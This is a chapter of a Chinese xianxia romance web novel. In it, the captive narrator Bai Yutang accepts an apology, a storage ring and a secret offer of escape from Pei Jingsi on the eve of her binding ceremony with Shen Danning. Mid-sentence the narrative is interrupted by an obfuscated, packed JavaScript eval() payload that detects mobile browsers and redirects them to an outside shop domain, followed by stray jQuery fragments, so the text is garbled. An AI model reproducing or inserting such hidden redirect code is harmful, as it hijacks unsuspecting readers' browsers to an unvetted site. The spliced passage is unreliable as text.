接连几天我没再受到苏瑾煜和裴竞思的打扰,只安静在太初峰和无涯峰来回走动,临近结契,沈澹宁也仿佛放松了对我的看管,我才得以有空熟悉下山的路线。
但随着结契大典日子的逼近,我的心一天天沉下去,我完全找不到可以逃走的法子,之前所想的突破口——裴竞思又被关了禁闭,我想寻也未能寻到。
这一日午后,我被仙鹤“嘎嘎”的叫声吵醒,我待在床上揉揉眼角,估摸着又是剑宗的哪个弟子误闯了,这是今天第几个了?
我撑着头有些烦恼,自从那天与裴竞思起了争执后,太初峰就经常出现剑宗弟子,这样让我出门时很容易被人发现,连踪迹都难以隐藏。
剑宗还有未来么,年轻弟子连路都分不清楚,还得靠我这个凡人指路,我不禁隐隐担忧。
仙鹤的叫声嘎嘎不绝,我回过神披上外衣出去看看有什么情况。
原来是很久未曾看到的裴竞思,真是凑巧,我也想找他。
裴竞思久久站在原地,似乎有些踌躇。
见状,我朝他走近,停在台阶上:“裴竞思你来干什么?”
我是想借他之手逃离,他来找我一个凡人又是什么缘由?
像是鼓足了勇气,裴竞思抬眼看我说:“对不起白玉棠。”
“虽然那日我施的法非攻击类法术,但我与沈澹宁有仇,也不应该迁怒于凡人,将追踪的法术放于凡人身上,我实在太傲慢了。”裴竞思向上走,停在离我一尺的距离外,他低头从袖中掏出储物戒,戴在我的手指上,他施了法术,我也能够看到里面的状态,有各种草药、灵石,还有许多我分辨不出的东西,裴竞思垂着眼睛说,“我自知我当初错处无可挽回,我不奢求你能原谅我,但还是期望你能给我一个机会。白玉棠,请你收下它。”
我低头静静看着他,心觉反常。
按师玄珩的说法,沈澹宁与裴竞思之间若存在灭族之仇,裴竞思对自己有偏见也是正常。
我想不明白,裴竞思在短短时间里怎么便对我转化了态度,总不至于短时间内他便“改邪归正”了吧?
剑宗里的人我这段时间也了解不少,他们不是这样的人。
见我半天没有反应,裴竞思又说:“这是我这两年出入秘境获取的资源,我知道就算把我赔给你都无法作为补偿,希望你能收下,上面我已经施了法,仅你可拿取使用。”
我听完他的话有几分无奈,一方面是我一个凡人,想来也用不上这些,另外则是我很怀疑裴竞思的法术会不会被沈澹宁看破,反倒让他坐享其成。
“裴竞思……”我褪下手指上的储物戒,他这时却抬头看着我,眼底满是愧疚。
愧疚,我没看错吗?
拒绝的话停在嘴边,我起了利用的心思。
“好,我收下了。”
裴竞思见我收下弯弯眉毛,我看着他的眼睛,有些愣神,没注意就让他看住机会,抓住了我的手。
我从酷似夫君的眉眼中回神,尝试扯回手,却被他紧紧拉着不放,便问他:“你还有其他事吗?”
裴竞思仰头与我的眼睛对视,看上去像在拜见自己最为尊敬的神明:“没什么事。”
他眼里的情绪像是要把我灼烧,我侧开头躲开了他的视线。
余光却扫到裴竞思的肩膀上,不大能看出来那天的惨状,应该是已经好得差不多了。
想到有求于人,我快速眨眨眼驱散心里的心虚,绞尽脑汁想出句关心他的话,以此来转移他的注意:“裴竞思,你的伤口好些了吗?”
“白玉棠,你试试,我已经好得差不多了。”
“哦。”
他带着我的手往胳膊上触碰,那天艳红的鲜血还存在我的记忆中,我只敢轻轻地捏一捏。
“你用力了吗?”裴竞思好像是单纯的疑惑。
修士的力气岂是凡人能比的?我想他可真是没有常识。
“我……”我停住话头,手心里传来奇异的触感,像是蝴蝶在里面振翅。
我翻开手掌想确认一下,裴竞思却牢牢包裹住我的手,与此同时,他的声音从耳中传来。
“白玉棠,你要逃吗,我可以帮你。”
不管是裴竞思酷像夫君的眉眼,还是他的提议,都极具诱惑,我想我是无法拒绝的。
我身无长物,就算裴竞思欺骗我,对我来说也没有任何损失,不如信他试试,或许能为我逃出剑宗增添一分可能。
于是我抬起眼睛看他,缓缓眨了眨眼,肯定说:“嗯。”
“力气这么小啊,算了不闹你了。”裴竞思神情又变得郑重起来,“谢谢你白玉棠,还愿意原谅我。”
裴竞思说完一把将我抱在怀中,极为用力。
我惊异瞪着眼,不明白裴竞思此时的举动,又要捉弄我吗?
我静静等待了一会,他没说话,只是头搭在我肩颈处,安静地抱着我。
但这样也让我难受,他的呼吸喷在我皮肤上,滚烫又带着湿意,有些痒。
我难耐地耸动肩膀,希望将他抖落下去。
却只得到裴竞思制止:“不要动,让我抱一抱你白玉棠,原来真的不是梦……”
他的声音很轻,轻到我怀疑这不是裴竞思发出的声音,还没待我反应,他便松开制钳我的手。
“谢谢你白玉棠。”裴竞思闷闷地说了一遍。
我看着他满心疑惑,因为他脸上正挂着泪,看着极为难过。
我抿住唇,有些不知所措又有些不忍,终是低头找起了随身带的手帕。
“白玉棠,明天酉时我来找你一起下山。”裴竞思略带哭腔的声音在我耳旁响起,我惊诧地抬头,视线里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813529|210960||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
仅余裴竞思的背影,他走得极快,像是后面有什么在追赶。
我远远望着,一只蝴蝶慢吞吞地飞着,渐渐停靠在裴竞思身侧,再隐藏在他袖中。
我掐住手心,丝丝痛意在告诉我不是错觉。
旁边仙鹤用头轻轻碰我的腰,我才回神松开手,慢慢往回走。
走了几步,我又转过头,往后看了一眼,视线中空无一人,耳上的坠子随我的动作荡在皮肤上,有几分凉意,我被冰了个激灵,迅速收回目光,又反射性摸上手心,空无一物。
明天,是结契大典前一天。
在这之前,我得想办法把耳上被沈澹宁附有法术的坠子取下来。
……
我闭上眼沉入水中,直到水温渐凉才浮出水面。
我仰头盯着屏风上挂起的正红色婚服良久,直盯地头发昏。
脑海中一直回荡着沈澹宁的话:“玉棠,不舒服的话要告诉我。”
我捏着耳上的坠子,躯体里烦闷的情绪一点点放大。
不舒服的地方哪里就只有单单一个耳坠?心里的难受达到极点,我只是想回家而已。
我拍了拍脸,稍微缓和情绪,准备实行我一开始的计划。
我在穿的时候才发现了问题,沈澹宁准备的婚服,着实有些奇怪,一度让我认为我是拿错了,但尺寸大小又很合适。
它的样式不似我平日穿的,我想或许是婚服所以也有所不同,再就是过于繁琐了,明明之前与夫君成亲时也并没有这样麻烦,想来是修士结契和凡间并不一致,我又把自己说服了。
我稀里糊涂一股脑全搭在身上,全然不顾正确与否。
往出走,我刚刚暖和的身子顿时汗毛直立,脚下步子不由停顿下来,直愣愣盯着前方那道身影,沈澹宁竟然就在外面,我丝毫未察觉他来了多久。
“怎么愣在原地,玉棠?”沈澹宁转头,见到我脸上带了些笑意。
我回过神,朝他走去。
“头发还湿着呢,冷不冷?”沈澹宁牵起我今天蝴蝶停歇过的那只手,把我拉到他腿上坐着。
“不冷,等等就好了。”
沈澹宁没说话,一手揉捏我的小指,一手从我后颈穿插,挽起我细长的发丝,如往常一样他开口问我:“玉棠今天做了什么?”
虽说他是例行发问,但我脑海中蓦然浮现裴竞思下午离开时的样子。
“嗯?”沈澹宁将手中发丝别在我耳后,手掌顺势掠过我的耳垂,又捏了捏,像是别有深意般,“遇到什么事了吗?这样入神?”
我猛然惊醒,都顾不得耳上的微弱痛意:“在想话本的情节。”
“哦。”沈澹宁看上去没什么兴趣般,轻飘飘掠过了这个话题,只是他又握住我的手,摩挲着我的手心,好巧不巧正是裴竞思的蝴蝶停留在我手上的位置。